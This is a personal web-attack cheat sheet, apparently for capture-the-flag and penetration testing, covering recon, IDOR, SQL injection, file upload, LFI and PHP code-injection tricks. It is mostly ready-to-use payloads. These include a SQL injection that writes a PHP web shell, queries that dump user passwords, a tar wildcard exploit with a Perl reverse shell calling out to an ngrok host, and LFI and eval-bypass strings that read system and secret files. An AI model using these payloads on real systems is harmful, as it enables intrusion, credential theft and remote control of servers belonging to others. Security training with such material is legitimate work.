Web Cheat Sheet

Server version

To do

- Check if are known vulnerabilities
- Get versions, application, services, technologies etc.
- Source code review
- HTTPS -->certificate --> usernames, mail, subdomains
- Web Application Firewall (WAF)

tools

whatweb -a 1 $URL
whatweb -a 3 $URL
whatweb -a 4 $URL
nuclei -ut && nuclei -target http://$IP 
nikto --host $URL -C all -o recon/nikto.txt

Content discovery

To do

Do a recursive search (not every tool do this automatically)
See default pages 
Use different wordlists 
Check every file you found (php,bak, html, py, txt, etc.)
Check for WAF

Default pages

/robots.txt
/sitemap.xml
/crossdomain.xml
/clientaccesspolicy.xml
/.well-known/

Check if any WAF

# Through telnet, you can identify if there is a WAF

Common Vulns

IDOR

### Bypass restrictions using parameter pollution
# You can use the same parameter several times**
example/profile?UserId=123 # Ok, your profile
example/profile?UserId=456 # ERROR
example/profile?UserId=456&UserId=123 # OK, it can work

### Tips
# - Some encoded/hashed IDs can be predictable --> Create accounts to see
# - Try some id, user_id, message_id even if the application seems to not offer it (on API for ex)
# - Parameter Polluttion (HPP)
# - Switch between POST and PUT to bypass potential controls**

SQLinjections

#### Upload file ####
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
# Passwords
uNiOn aLl SeleCt 1,2,3,4,conCat(username,0x3a,password),6 FroM users
uNiOn aLl SeleCt 1,2,3,4,conCat(username,0x3a,password,0x3a,flag),6 FroM users

#### Blind SQLi ####
### Boolean Based
'union select 1,2,3,4 where database() like '$database_name%';-- - # brute force the databse name (login if introduce corect name of databse) --> e.g. database name= mywebsite  --> should login if introduce "m" or "my" or "myw" and so on
'union select 1,2,3,4 where database() like binary '$database_name%';-- -

SQLMap

These are commands that I commonly use

# use request file
sqlmap -r request.txt
# show databasees
sqlmap --dbs
# show everything of a DB
sqlmap -D database_name --dum
# show table of a DB
sqlmap -D database_name --tables
# show a table
sqlmap -D database_name -T table_name --dump
# choose techniques
sqlmap --technique=BEU  # blind, error, union
# current user
sqlmap --curent-user
# database name
sqlmap --current-db
# verbose mode
sqlmap -v 3 # levels from 1 to 6
# user info
sqlmap --privileges  --roles  --id-dba  --hostname

File upload

###### Double Extension
# If the target is only checking extension
-> exploit.php.jpg
# Tricks
-> exploit.php\ .jpg 
-> exploit.php\#.jpg


# MIME Type
# Classical, using Burp for example
Content-Type: application/x-php → Content-Type: image/gif

# Using cURL
curl -i -F "file=@shell.php;type=image/gif" --cookie "..." "<target>"

# You can also create or update the following registry key on Windows
{{HKLM\SOFTWARE\Classes\.php}}

# Then create a “String” type registry key and, named “Content-Type" and set the value “image/gif”

########################  Zip Upload ######################## 
# You can get resources through ZIP upload and symlinks

########################  Wildcard & tar exploit  ######################## 
# If the server is using tar and wildcard (*) on uploaded files, you can exploit it by uploading 3 files :
• --checkpoint-action=exec=sh shell.sh
• --checkpoint=1
• shell.sh

# the shell.sh file contains a payload (different exploit are possible) :
• cat "path/index.php" > index.txt
• #!/bin/sh
perl -e 'use Socket;$i="0.tcp.ngrok.io";$p=15975;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Local File Inclusion

Common payloads

I usually do a manual enumeration to see how website responds to LFI attacks

../../../../etc/passwd

.././.././.././.././etc/passwd

....//....//....//etc/passwd

....\/....\/....\/etc/passwd

/index.php?language=./languages/../../../../etc/passwd #specific path (./languages)

../../../../etc/passwd%00

../../../../etc/passwd%00.png

..\..\..\windows\win.ini

../ --> %2e%2e%2f (url encoding)

/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

/index.php?language=php://filter/read=convert.base64-encode/resource=configure

Useful commands

# avoid .php extension with path truncation by adding ././././
echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

$encoded=$(echo -ne '../../../../../../../../../../../../'| xxd --plain| tr -d '\n'| sed 's/\(..\)/%\1/g')

PHP Functions

#### The assert() function will execute code in params ####
#### Example using challenge ####
?page=..
Warning : assert() : Assertion "strpos(’includes/...php’, ’..’) === false" failed in path/index.php on line 8

#### The request looks like this ####
assert("strpos('includes/' . $_GET['page'] . '.php', '..') === false")

#### If we inject this ####
?page=salade.php','..') || print('tomate') || strpos('oignons

#### The request will look like ####
assert("strpos('/includes/salade.php','..') || print('tomate') || strpos('oignons.php','..') ===false")

#### Then, to exploit ####
?page=salade.php','..') || show_source('.passwd') || strpos('oignons

#### In PHP, regular expressions need delimiter ####
preg_match("recherche","contenu"); # wrong
preg_match("/recherche/","contenu"); # OK

#### preg_replace offers an option to execute code ####
preg_replace("input1search","input2replace","input3content");
preg_replace("/a/e","print(123)","abcd");
preg_replace("/a/e","print_r(scandir('.'))","abcd");
preg_replace("/a/e","file_get_contents('flag.php')","abcd");

#### It is possible to bypass some functions like preg_match by injecting non-alphanumeric char ####
# If the application uses eval() on the user input, the payload will still be executed

# Application code
if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){
        print '<fieldset><legend>Result</legend>';
        eval('print '.$_POST['input'].";");
        print '</fieldset>';
    }
    

#### Exploitation and Bypass ####
# You can encode the payload in octal**
→ file_get_contents(".passwd")
→ "\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163"("\056\160\141\163\163\167\144")

#### You can also use non alphanumeric char (https://github.com/v1ll41n/Und3rCov3r) ####
echo -n “phpinfo();” > tmp.php
php Und3rCov3r.ph 1 tmp.php

# If will create an alphax.php file containing the encoded payload
